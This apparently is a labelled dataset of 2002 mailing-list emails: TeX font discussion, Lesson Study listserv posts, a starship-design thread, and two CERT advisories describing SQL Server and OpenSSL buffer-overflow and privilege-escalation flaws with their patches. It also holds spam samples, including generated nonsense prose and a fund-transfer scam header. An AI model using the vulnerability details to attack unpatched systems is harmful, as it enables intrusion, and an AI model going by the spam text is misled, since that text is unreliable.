unaware of any QuickDraw/GX fonts suitable for setting mathematics other than the Computer Modern variant bundled with TeX/GX I'm still digesting everything everyone else has said, and have learned a lot---really appreciate Lars' pointer to the relenc package. Will try to do a summary (hey! could be an article for Tugboat!) and post to this list, then maybe to comp.text.tex for wider discussion? William ",0,0 William Adams ,lcs@math.u-psud.fr,"Mon, 29 Jul 2002 12:03:57 -0400",Re: OpenType in Bakoma,"I've looked at playing w/ Bakoma TeX a couple of times---actually had it installed on my pen slate before a virus required reformatting everything. My big problem with its OpenType support would seem to be: >Any font type can be used for any output device/format. >This feature is supported by automatic font conversion >between font formats when needed. We really need (or maybe just, ``I want'') a direct/native solution (which is to say a successor to TeX) so that such conversion isn't necessary. >PS to William: I too use Macintosh a good deal. Could you give a >thumbnail sketch of the Macintosh application TeX/GX (unique features >URL etc.) ? It's linked to from www.tug.org last I checked---it's a TeX implementation for the Mac OS (System 7.5.1--7.6.1---it does _not_ work with the GX extension for Mac OS 8--8.6) which uses QuickDraw/GX and enables native use of QuickDraw/GX fonts (predecessor to OpenType w/ lots of nifty capabilities). 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Systems Affected * Microsoft SQL Server 7.0 * Microsoft SQL Server 2000 * Microsoft SQL Server Desktop Engine 2000 Overview The Microsoft SQL Server contains several serious vulnerabilities that allow remote attackers to obtain sensitive information, alter database content, compromise SQL servers, and, in some configurations, compromise server hosts. These vulnerabilities are public and have been addressed by Microsoft Security Bulletins, but we believe their collective severity warrants additional attention. I. Description Since December 2001, Microsoft has published eight Microsoft Security Bulletins regarding more than a dozen vulnerabilities in the Microsoft SQL Server. This document provides information on the five most serious of these vulnerabilities; references to the remainder are provided in Appendix B. In isolation, many of these vulnerabilities have significant preconditions that are difficult for an attacker to overcome. However, when exploited in combination, they allow attackers to gain additional flexibility and increase their chances for success. In particular, the privilege escalation vulnerability described in VU#796313 allows an attacker to weaken the security policy of the SQL server by granting it the same privileges as the operating system. With full administrative privileges, a compromised Microsoft SQL Server can be used to take control of the server host. The CERT/CC encourages system administrators to take this opportunity to review the security of their Microsoft SQL servers and to apply the appropriate patches from the Microsoft bulletins listed in Appendix B. VU#796313 - Microsoft SQL Server service account registry key has weak permissions that permit escalation of privileges (CAN-2002-0642) The Microsoft SQL Server typically runs under a dedicated ""service account"" that is defined by system administrators at installation time. This definition is stored in the Windows registry with permissions that allow the SQL Server to change the value of the registry key. As a result, attackers with access to the ""xp_regwrite"" extended stored procedure can alter this registry key and cause the SQL Server to use the LocalSystem account as its service account. Upon rebooting the server host or restarting the SQL service, the SQL Server will run with the full administrative privileges of the LocalSystem account. This ability allows a remote attacker to submit SQL queries that can execute any command on the system with the privileges of the operating system. VU#225555 - Microsoft SQL Server contains buffer overflow in pwdencrypt() function (CAN-2002-0624) The Microsoft SQL Server provides multiple methods for users to authenticate to SQL databases. When SQL Server Authentication is used, the username and password of each database user is stored in a database on the SQL server. When users supply a password to the server using this method, a function named pwdencrypt() is responsible for encrypting the user-supplied password so that it can be compared to the encrypted password stored on the SQL server. There is a buffer overflow in pwdencrypt() that allows remote attackers to execute arbitrary code on the SQL server by supplying a crafted password value. Successful exploitation of this vulnerability requires knowledge of a valid username and will cause the supplied code to execute with the privileges of the SQL service account. VU#627275 - Microsoft SQL Server extended stored procedures contain buffer overflows (CAN-2002-0154) Microsoft SQL Server provides a scripting construct known as an ""extended stored procedure"" that can execute a collection of server commands together. Several of the extended stored procedures included with the Microsoft SQL Server contain buffer overflow vulnerabilities. These procedures provide increased functionality for database applications, allowing them to access operating system or network resources. Parameters are passed to extended stored procedures via an API that specifies the actual and maximum length of various parameter data types. Some of the extended stored procedures fail to adequately validate the length of input parameters, resulting in stack buffer overflow conditions. Since some of the vulnerable procedures are configured by default to allow public access, it is possible for an unauthenticated attacker to exploit one or more of these buffer overflows. SQL Server databases are commonly used in web applications, so the vulnerable procedures may be accessible via the Internet. Microsoft Security Bulletin MS02-020 states An attacker could exploit this vulnerability in one of two ways. Firstly, the attacker could attempt to load and execute a database query that calls one of the affected functions. Secondly, if a web-site or other database front-end were configured to access and process arbitrary queries, it could be possible for the attacker to provide inputs that would cause the query to call one of the functions in question with the appropriate malformed parameters. VU#399260 - Microsoft SQL Server 2000 contains heap buffer overflow in SQL Server Resolution Service (CAN-2002-0649) The SQL Server Resolution Service (SSRS) was introduced in Microsoft SQL Server 2000 to provide referral services for multiple server instances running on the same machine. The service listens for requests on UDP port 1434 and returns the IP address and port number of the SQL server instance that provides access to the requested database. The SSRS contains a heap buffer overflow that allows unauthenticated remote attackers to execute arbitrary code by sending a crafted request to port 1434/udp. The code within such a request will be executed by the server host with the privileges of the SQL Server service account. VU#484891 - Microsoft SQL Server 2000 contains stack buffer overflow in SQL Server Resolution Service (CAN-2002-0649) The SSRS also contains a stack buffer overflow that allows unauthenticated remote attackers to execute arbitrary code by sending a crafted request to port 1434/udp. The code within such a request will be executed by the server host with the privileges of the SQL Server service account. II. Impact VU#796313 - Microsoft SQL Server service account registry key has weak permissions that permit escalation of privileges As a precondition, this vulnerability requires the ability to modify the SQL service account registry key (for example, via the ""xp_regwrite"" extended stored procedure). Attackers must convince an administrator to grant this access, or they must obtain it by exploiting one of the vulnerabilities listed in this advisory. This vulnerability allows attackers to weaken the security policy of the SQL Server by elevating its privileges and causing it to run in the LocalSystem security context. As a side effect, it increases the severity of the other vulnerabilities listed in this advisory and may enable attackers to compromise the server host as well. VU#225555 - Microsoft SQL Server contains buffer overflow in pwdencrypt() function This vulnerability allows remote attackers with knowledge of a valid username to execute arbitrary code with the privileges of the SQL service account. VU#627275 - Microsoft SQL Server extended stored procedures contain buffer overflows This vulnerability allows unauthenticated remote attackers to execute arbitrary code with the privileges of the SQL service account. VU#399260 - Microsoft SQL Server 2000 contains heap buffer overflow in SQL Server Resolution Service This vulnerability allows remote attackers to execute arbitrary code with the privileges of the SQL service account. VU#484891 - Microsoft SQL Server 2000 contains stack buffer overflow in SQL Server Resolution Service This vulnerability allows remote attackers to execute arbitrary code with the privileges of the SQL service account. III. Solution Apply a patch from Microsoft VU#796313 - Microsoft SQL Server service account registry key has weak permissions that permit escalation of privileges VU#225555 - Microsoft SQL Server contains buffer overflow in pwdencrypt() function Microsoft has published Security Bulletin MS02-034 to address these vulnerabilities. For more information, please see http://www.microsoft.com/technet/security/bulletin/MS02-034.asp VU#627275 - Microsoft SQL Server extended stored procedures contain buffer overflows Microsoft has published Security Bulletin MS02-020 to address this vulnerability. For more information, please see http://www.microsoft.com/technet/security/bulletin/MS02-020.asp VU#399260 - Microsoft SQL Server 2000 contains heap buffer overflow in SQL Server Resolution Service VU#484891 - Microsoft SQL Server 2000 contains stack buffer overflow in SQL Server Resolution Service Microsoft has published Security Bulletin MS02-039 to address these vulnerabilities. For more information, please see http://www.microsoft.com/technet/security/bulletin/MS02-039.asp Block external access to Microsoft SQL Server ports As a workaround, it is possible to limit exposure to these vulnerabilities by restricting external access to Microsoft SQL Servers on ports 1433/tcp, 1433/udp, 1434/tcp, and 1434/udp. Note that VU#399260 and VU#484891 can be exploited using UDP packets with forged source addresses that appear to belong to legitimate services, so system administrators should restrict all incoming packets sent to 1434/udp. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Appendix B. - CERT Vulnerability Notes sorted by Microsoft Security Bulletin ID This appendix contains a list of CERT Vulnerability Notes sorted in reverse chronological order by their corresponding Microsoft Security Bulletin IDs. System administrators should use this list to ensure that each of the patches listed in these bulletins have been applied. MS02-039 : Buffer Overruns in SQL Server 2000 Resolution Service Could Enable Code Execution (Q323875) VU#399260 - Microsoft SQL Server 2000 contains heap buffer overflow in SQL Server Resolution Service VU#484891 - Microsoft SQL Server 2000 contains stack buffer overflow in SQL Server Resolution Service VU#370308 - Microsoft SQL Server 2000 contains denial-of-service vulnerability in SQL Server Resolution Service MS02-038 : Unchecked Buffer in SQL Server 2000 Utilities Could Allow Code Execution (Q316333) VU#279323 - Microsoft SQL Server contains buffer overflows in several Database Consistency Checkers VU#508387 - Microsoft SQL Server contains SQL injection vulnerability in replication stored procedures MS02-035 : SQL Server Installation Process May Leave Passwords on System (Q263968) VU#338195 - Microsoft SQL Server installation process leaves sensitive information on system MS02-034 : Cumulative Patch for SQL Server (Q316333) VU#225555 - Microsoft SQL Server contains buffer overflow in pwdencrypt() function VU#682620 - Microsoft SQL Server contains buffer overflow in code used to process ""BULK INSERT"" queries VU#796313 - Microsoft SQL Server service account registry key has weak permissions that permit escalation of privileges MS02-030 : Unchecked Buffer in SQLXML Could Lead to Code Execution (Q321911) VU#811371 - Microsoft SQLXML ISAPI filter vulnerable to buffer overflow via contenttype parameter VU#139931 - Microsoft SQLXML HTTP components vulnerable to cross-site scripting via root parameter MS02-020 : SQL Extended Procedure Functions Contain Unchecked Buffers (Q319507) VU#627275 - Microsoft SQL Server extended stored procedures contain buffer overflows MS02-007 : SQL Server Remote Data Source Function Contain Unchecked Buffers VU#619707 - Microsoft SQL Server contains buffer overflows in openrowset and opendatasource macros MS01-060 : SQL Server Text Formatting Functions Contain Unchecked Buffers VU#700575 - Buffer overflows in Microsoft SQL Server 7.0 and SQL Server 2000 Appendix C. - References http://www.microsoft.com/technet/security/bulletin/MS02-007.asp http://www.microsoft.com/technet/security/bulletin/MS02-020.asp http://www.microsoft.com/technet/security/bulletin/MS02-030.asp http://www.microsoft.com/technet/security/bulletin/MS02-034.asp http://www.microsoft.com/technet/security/bulletin/MS02-035.asp http://www.microsoft.com/technet/security/bulletin/MS02-038.asp http://www.microsoft.com/technet/security/bulletin/MS02-039.asp http://www.microsoft.com/technet/security/bulletin/MS01-060.asp http://support.microsoft.com/support/misc/kblookup.asp?id=Q316333 http://support.microsoft.com/support/misc/kblookup.asp?id=Q319507 http://support.microsoft.com/support/misc/kblookup.asp?id=Q323875 http://www.appsecinc.com/resources/alerts/mssql/02-0000.html http://www.nextgenss.com/vna/ms-sql.txt http://www.theregister.co.uk/content/4/26086.html http://www.securityfocus.com/bid/5014 http://www.securityfocus.com/bid/5204 http://www.securityfocus.com/bid/5205 http://www.kb.cert.org/vuls/id/139931 http://www.kb.cert.org/vuls/id/225555 http://www.kb.cert.org/vuls/id/279323 http://www.kb.cert.org/vuls/id/338195 http://www.kb.cert.org/vuls/id/370308 http://www.kb.cert.org/vuls/id/399260 http://www.kb.cert.org/vuls/id/484891 http://www.kb.cert.org/vuls/id/508387 http://www.kb.cert.org/vuls/id/619707 http://www.kb.cert.org/vuls/id/627275 http://www.kb.cert.org/vuls/id/682620 http://www.kb.cert.org/vuls/id/700575 http://www.kb.cert.org/vuls/id/796313 http://www.kb.cert.org/vuls/id/811371 _________________________________________________________________ The CERT Coordination Center thanks NGSSoftware and Microsoft for their contributions to this document. _________________________________________________________________ Author: This document was written by Jeffrey P. Lanza. Your feedback is appreciated. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-22.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History Jul 29, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPUWmOqCVPMXQI2HJAQHTSAQAkzNjKa8E44TnM1L8JK+hl0kqVo5WAfGI cTaqSkE1h8jkLFugMouPNjRQgdvQj2KRQ5A1XDLl19ciylB52aDwLu3Fpive1wwx LCqBg0FpvyQC+v9ppk3W8/835Z/3D4/ZdnJPDFyiT1bpz5oZ1Lq4SBWj3+OUd9yb hZ21kTi6+n4= =JslD -----END PGP SIGNATURE----- ",0,1 CERT Advisory ,cert-advisory@cert.org,"Tue, 30 Jul 2002 13:42:37 -0400",CERT Advisory CA-2002-23 Multiple Vulnerabilities In OpenSSL," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-23 Multiple Vulnerabilities In OpenSSL Original release date: July 30, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * OpenSSL prior to 0.9.6e, up to and including pre-release 0.9.7-beta2 * OpenSSL pre-release 0.9.7-beta2 and prior with Kerberos enabled * SSLeay library Overview There are four remotely exploitable buffer overflows in OpenSSL. There are also encoding problems in the ASN.1 library used by OpenSSL. Several of these vulnerabilities could be used by a remote attacker to execute arbitrary code on the target system. All could be used to create denial of service. I. Description OpenSSL is a widely deployed, open source implementation of the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols as well as a full-strength general purpose cryptography library. The SSL and TLS protocols are used to provide a secure connection between a client and a server for higher level protocols such as HTTP. Four remotely exploitable vulnerabilities exist in many OpenSSL client and server systems. VU#102795 - OpenSSL servers contain a buffer overflow during the SSLv2 handshake process Versions of OpenSSL servers prior to 0.9.6e and pre-release version 0.9.7-beta2 contain a remotely exploitable buffer overflow vulnerability. This vulnerability can be exploited by a client using a malformed key during the handshake process with an SSL server connection. Note that only SSLv2-supported sessions are affected by this issue. This issue is also being referenced as CAN-2002-0656. VU#258555 - OpenSSL clients contain a buffer overflow during the SSLv3 handshake process OpenSSL clients using SSLv3 prior to version 0.9.6e and pre-release version 0.9.7-beta2 contain a buffer overflow vulnerability. A malicious server can exploit this by sending a large session ID to the client during the handshake process. This issue is also being referenced as CAN-2002-0656. VU#561275 - OpenSSL servers with Kerberos enabled contain a remotely exploitable buffer overflow vulnerability during the SSLv3 handshake process Servers running OpenSSL pre-release version 0.9.7 with Kerberos enabled contain a remotely exploitable buffer overflow vulnerability. This vulnerability can be exploited by a malicious client sending a malformed key during the SSLv3 handshake process with the server. This issue is also being referenced as CAN-2002-0657. VU#308891 - OpenSSL contains multiple buffers overflows in buffers that are used to hold ASCII representations of integers OpenSSL clients and servers prior to version 0.9.6e and pre-release version 0.9.7-beta2 contain multiple remotely exploitable buffer overflow vulnerabilities if running on 64-bit platforms. These buffers are used to hold ASCII representations of integers. This issue is also being referenced as CAN-2002-0655. In addition, a separate issue has been identified in OpenSSL involving malformed ASN.1 encodings. Affected components include SSL or TLS applications, as well as S/MIME, PKCS#7, and certificate creation routines. VU#748355 - ASN.1 encoding errors exist in implementations of SSL, TLS, S/MIME, PKCS#7 routines The ASN.1 library used by OpenSSL has various encoding errors that allow malformed certificate encodings to be parsed incorrectly. Exploitation of this vulnerability can lead to remote denial-of-service issues. Routines affected include those supporting SSL and TLS applications, as well as those supporting S/MIME, PKCS#7, and certificate creation. This issue is also being referenced as CAN-2002-0659. Although these vulnerabilities affect OpenSSL, other implementations of the SSL protocol that use or share a common code base may be affected. This includes implementations that are derived from the SSLeay library developed by Eric A. Young and Tim J. Hudson. As noted in the OpenSSL advisory as well, sites running OpenSSL 0.9.6d servers on 32-bit platforms with SSLv2 handshaking disabled will not be affected by any of the buffer overflows described above. However, due to the nature of the ASN.1 encoding errors, such sites may still be affected by denial-of-service situations. II. Impact By exploiting the buffer overflows above, a remote attacker can execute arbitrary code on a vulnerable server or client system or cause a denial-of-service situation. Exploitation of the ASN.1 encoding errors can lead to a denial of service. III. Solution Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below or in the individual vulnerability notes, we have not received their comments. Please contact your vendor directly. Upgrade to version 0.9.6e of OpenSSL Upgrade to version 0.9.6e of OpenSSL to resolve the issues addressed in this advisory. As noted in the OpenSSL advisory, separate patches are available: Combined patches for OpenSSL 0.9.6d: http://www.openssl.org/news/patch_20020730_0_9_6d.txt After either applying the patches above or upgrading to 0.9.6e, recompile all applications using OpenSSL to support SSL or TLS services, and restart said services or systems. This will eliminate all known vulnerable code. Sites running OpenSSL pre-release version 0.9.7-beta2 may wish to upgrade to 0.9.7-beta3, which corrects these vulnerabilities. Separate patches are available as well: Combined patches for OpenSSL 0.9.7 beta 2: http://www.openssl.org/news/patch_20020730_0_9_7.txt Disable vulnerable applications or services Until fixes for these vulnerabilities can be applied, disable all applications that use vulnerable implementations of OpenSSL. Systems with OpenSSL 0.9.7 pre-release with Kerberos enabled also need to disable Kerberos to protect against VU#561275. As a best practice, the CERT/CC recommends disabling all services that are not explicitly required. Before deciding to disable SSL or TLS, carefully consider the impact that this will have on your service requirements. Disabling SSLv2 handshaking will prevent exploitation of VU#102795. However, due to the nature of the ASN.1 encoding errors, such sites would still be vulnerable to denial-of-service attacks. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below or in the individual vulnerability notes, we have not received their comments. OpenLDAP The OpenLDAP Project uses OpenSSL. Rebuilding OpenLDAP with updated versions of OpenSSL should adequately address reported issues. Those using packaged versions of OpenLDAP should contact the package distributor for update information. OpenSSL Please see http://www.openssl.org/news/secadv_20020730.txt. Red Hat Red Hat distributes affected versions of OpenSSL in all Red Hat Linux distributions as well as the Stronghold web server. Red Hat Linux errata packages that fix the above vulnerabilities (CAN-2002-0655 and CAN-2002-0656) are available from the URL below. Users of the Red Hat Network are able to update their systems using the 'up2date' tool. A future update will fix the potential remote DOS in the ASN.1 encoding (CAN-2002-0659) http://rhn.redhat.com/errata/RHSA-2002-155.html _________________________________________________________________ These vulnerabilities were discovered and reported by the following: * VU#102795 - discovered by A.L. Digital Ltd and independently discovered and reported by John McDonald of Neohapsis * VU#258555, VU#561275, VU#308891 - discovered by A.L. Digital Ltd * VU#748355 - discovered by Adi Stav and James Yonan independently The CERT/CC thanks the OpenSSL team for the work they put into their advisory, on which this document is largely based. _________________________________________________________________ Feedback can be directed to the authors: Jason A. Rafail, Cory F. Cohen, Jeffrey S. Havrilla, Shawn V. Hernan. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-23.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History July 30, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPUa3CaCVPMXQI2HJAQFfMQP+OScRIgv9wK92OnJ+2GMwSbizihkdlczk UN8NMKOw7ZB5xF6U4juvac2lYFySvAw6O0h7AkUKIubmJINtxNP+8M174S9WluDF Y2Z1BNTcIaDuM6TculYk0+abX/Z1zPt/odAj5wtq0FHAG8JlwwYMuC+iOZPUG2be pqVKVFiWAVE= =w3ZJ -----END PGP SIGNATURE----- ",0,1 """L. Parker"" ","""'Peter (Sci)'"" , 'Starship Design' ","Tue, 30 Jul 2002 19:18:59 -0500",RE: starship-design: Busy busy,"It is not a function of component density. It is a combination of grounding, shielding and a different substrate that is not as susceptible to radiation damage. Standard silicon is not very good for this purpose. Lee > -----Original Message----- > From: owner-starship-design@lists.uoregon.edu > [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of > Peter (Sci) > Sent: Tuesday, July 30, 2002 6:59 PM > To: Starship Design > Subject: starship-design: Busy busy > > > Last couple of weeks, I've been talking to a few friends. > This has resulted > in much design work on my intergrated ship network (the > Kitten Modules), and > the associated peripherals. > I also got a name dropped on me, and was wondering if it was > familier to > anyone on this list? > The Association Of Autonomous Astronauts, or the AAA. Anyone? > > Checking in, > > Sci > > > PS: Anyone know what sort of componant density is needed on > an IC to prevent > radiation-damage? (how do you rad-harden a chip?) > > >From VM Wed Jul 31 10:41:58 2002 Content-Length: 982 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""982"" ""Tuesday"" ""30"" ""July"" ""2002"" ""19:36:48"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""29"" ""Re: starship-design: Busy busy"" ""^From:"" nil nil ""7"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.5/8.12.5) with ESMTP id g6V1eDHo023821 for ; Tue, 30 Jul 2002 18:40:13 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.5/8.12.5/Submit) id g6V1eD20023820 for starship-design-outgoing; Tue, 30 Jul 2002 18:40:13 -0700 (PDT) Received: from bach.ccinet.ab.ca (bach.ccinet.ab.ca [198.161.96.1]) by darkwing.uoregon.edu (8.12.5/8.12.5) with ESMTP id g6V1eBHo023812 for ; Tue, 30 Jul 2002 18:40:12 -0700 (PDT) Received: from jetnet.ab.ca (gc-jet-195.jetnet.ab.ca [207.34.60.195]) by bach.ccinet.ab.ca (8.12.5/8.12.3) with ESMTP id g6V1e9h1091001 for ; Tue, 30 Jul 2002 19:40:09 -0600 (MDT) (envelope-from bfranchuk@jetnet.ab.ca) Message-ID: <3D473F30.3000805@jetnet.ab.ca> User-Agent: Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.1b) Gecko/20020721 X-Accept-Language: en,ja MIME-Version: 1.0 References: <002301c23827$de55cc40$0201a8c0@broadsword> <3D473EDA.4090800@jetnet.ab.ca> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu To: ""starship-design@lists.uoregon.edu"" Subject: Re: starship-design: Busy busy Date: Tue, 30 Jul 2002 19:36:48 -0600 Ben Franchuk wrote: > L. Parker wrote: > >> It is not a function of component density. It is a combination of >> grounding, >> shielding and a different substrate that is not as susceptible to >> radiation >> damage. Standard silicon is not very good for this purpose. > > >>> PS: Anyone know what sort of componant density is needed on >>> an IC to prevent >>> radiation-damage? (how do you rad-harden a chip?) >> > > I also suspect it has to do with radiation energy levels > and chip speeds and power used. CMOS logic is sensitive > to distructive latchup that radiation could cause, but > I suspect transient errors to be more of a problem in memory. > Most logic nowdays does not have even parity or other forms > of diagnostics trading this all for speed and the ability > to run windows. :( > Get the hardware working and then count on being two computer > generations back for space rated stuff. > Check here for space rated hardware. > http://www.gaisler.com/ > >",0,1 Clifton Cordoba ,Lesson Study Listserv ,"Wed, 31 Jul 2002 09:56:30 -0700",Lesson Study and ESL,"I'm new to Lesson Study.  Is there any Lesson Study work focused on  teaching English as a Second Language, especially as it relates to the teaching of adults?   Also, is there any work that compares the type and amount of lesson preparation by teachers of English as a Second Language in the United States as compared to ""non-native"" teachers of English as a Foreign Language in other countries?   Thank you in advance for any information or references.   --- cdec@sprintmail.com --- EarthLink: The #1 provider of the Real Internet.   --- Please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: http://www.tc.columbia.edu/lessonstudy/discussionforums.html. For further instructions on using this listserv (including how to subscribe), please visit: http://www.tc.columbia.edu/lessonstudy/listserv.html.",0,1 Pgw3985@aol.com,Lesson Study Listserv ,"Wed, 31 Jul 2002 14:48:37 -0400",Lesson Study and Teacher Efficacy Inquiry,"I am seeking information on research projects and dissertations related to teacher efficacy and the discourse component of lesson study as advocated by Catherine Lewis. I would like to explore the discourse component and its relationship to changing/improving teacher efficacy with diverse student populations. --- Please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. 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The lighting is superb here, with an interesting and contrasting background. The expression, again, is flat. I love this one! Your face is not lit up, but the composition is incredibly dramatic.... and you look so exotic!! In fact, this is a way of interpreting the photo... he he he he he he You like this one. You even told me so when I took the low angle shots. I don't care for it, but I agree that the colors are superb. That's slide film for you! The cars in the background are nice, with the palm trees, et al. Your expression is a little goofy, but that's OK. In general, I think urban scenes make OK backdrops. Nature is so much more powerful. Ooohhh... you're so adorable here! This, I think, is a classic portrait!! The colors in the background are wonderful and your expression is perfect! The shirt looks good with your black hair and darker skin, and the little T-shirt makes for a nice contrasting element. I can't believe your mother wants her own picture! Strange! I thought she'd want more photos of you! In any case, this is a fine composition, with good colors and superb lighting. 2/3rds of the photo is simply the fact that your mother is beautiful, especially when she wears the traditional dress (I think Indians have good taste when it comes to dresses... kind of like a indigenous Coco Chanel). This is a masterpiece! The composition is perfect, the expression is divine (in comparison to your 200 other goofy, smiling expressions). Slightly blurred, but otherwise it is a classic! And the lighting and contrast! Ooh! Mama mia! Am I good or what? Paul L. ______________________________ Paul La Porte 5404 South Woodlawn, #2 Chicago IL 60615 Tel. 773.643.4996 laporte@uchicago.edu ",0,0 Eileen Engel ,Lesson Study Listserv ,"Thu, 01 Aug 2002 15:25:25 -0700",Workshop,"Next week I am teaching a workshop on research in education. I am highlighting several programs including Lesson Study. Catherine Lewis has spoken at Chabot Space & Science Center where the workshop will be held, so some of the teachers are familiar with the work. I would like to have them observe a class and log in answers to questions. 1. Is there a specific format for an observation? 2. Does each teacher observe for a different question? 3. What kinds of questions? Are they specific to the lesson or general such as Are the students on task? Thanks in advance. Eileen Engel --- Please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: http://www.tc.columbia.edu/lessonstudy/discussionforums.html. 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When the dreamlike tomato hides, a lover procrastinates. astraddle.   When a briar patch behind a scooby snack is knowingly Alaskan, the rattlesnake over some particle accelerator is a big fan of an optimal cloud formation. The fairy inside the industrial complex greedily befriends a tape recorder around a pork chop. Furthermore, a wisely snooty paycheck sweeps the floor, and the salad dressing from a carpet tack secretly throws a movie theater at a cab driver. When a cyprus mulch is radioactive, the polka-dotted demon pours freezing cold water on the feline cargo bay. Another greedily overpriced pig pen accurately recognizes a hole puncher inside an abstraction.   Any canyon can completely can be kind to some ridiculously moronic power drill, but it takes a real earring to feverishly make a truce with a demon. When the anomaly sweeps the floor, some freight train wakes up. A paycheck feels nagging remorse, and the Eurasian razor blade takes a coffee break; however, a cowboy inside a tuba player tries to seduce a flabby vacuum cleaner.   If a defendant behind a paper napkin organizes a moronic girl scout, then a non-chalantly obsequious bottle of beer reads a magazine. Sometimes a wedge starts reminiscing about lost glory, but a smelly bartender always gives secret financial aid to a pickup truck! Furthermore, the tabloid for another buzzard prays, and a fruit cake about a roller coaster recognizes the wedding dress. When you see a football team over a stovepipe, it means that the bullfrog flies into a rage. A cocker spaniel behind some ski lodge is a big fan of the loyal fruit cake.   bye bye Nick",1,1 richard riccado ,XXX@XXXXXXXX.XXXXXXX.XXX,"Fri, 02 Aug 2002 08:50:25 -0700",VERY URGENT FUND TRANSFER ,"3/5 RIDER HAGGARD CLOSE, JO, BORG SOUTH AFRICA. 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Two of us have been very busy this summer getting our research act together so that we can make a presentation to the faculty and structure all (or most, anyway) of our staff development resources around lesson study in the coming year. To enhance my credibility a little, I'm also off the Japan for three weeks in October with an FMF group to learn more about the structure and culture that support lesson study. I have my own thoughts about lesson study and school improvement, but I'd love to hear how you are connecting lesson study with Mike Schmoker and Rick DuFour, whose work our administrative team is familiar with. Thanks. --Tom Eismeier, Principal, Pond Cove School, Cape Elizabeth, Maine. Marjorie.Dewert@sas.com writes: >Eileen: I applaud your decision to highlight lesson study in your >upcoming workshop on research in education. I've been doing the same in >my work with secondary schools around the county ... plus helping folks >connect the dots between lesson study and the work of Mike Schmoker, Rich >Dufour, etc. on getting the results we want and need in P-16 public >education. > >I would be happy to share what I'm doing and what I've learned with you >and anyone else on the list that's interested. Give me a call at the >number below. Please don't be offput by the dot com after my email >address ... I work with a philanthropic, R& D group focused on K-12 >education issues. > >In the interim, if you haven't already done so, check out the superlative >""Tools for Conducting Lesson Study"" at the web site of the folks who are >so generoulsy hosting this listserv. You'll find answers to several of >your questions there. > 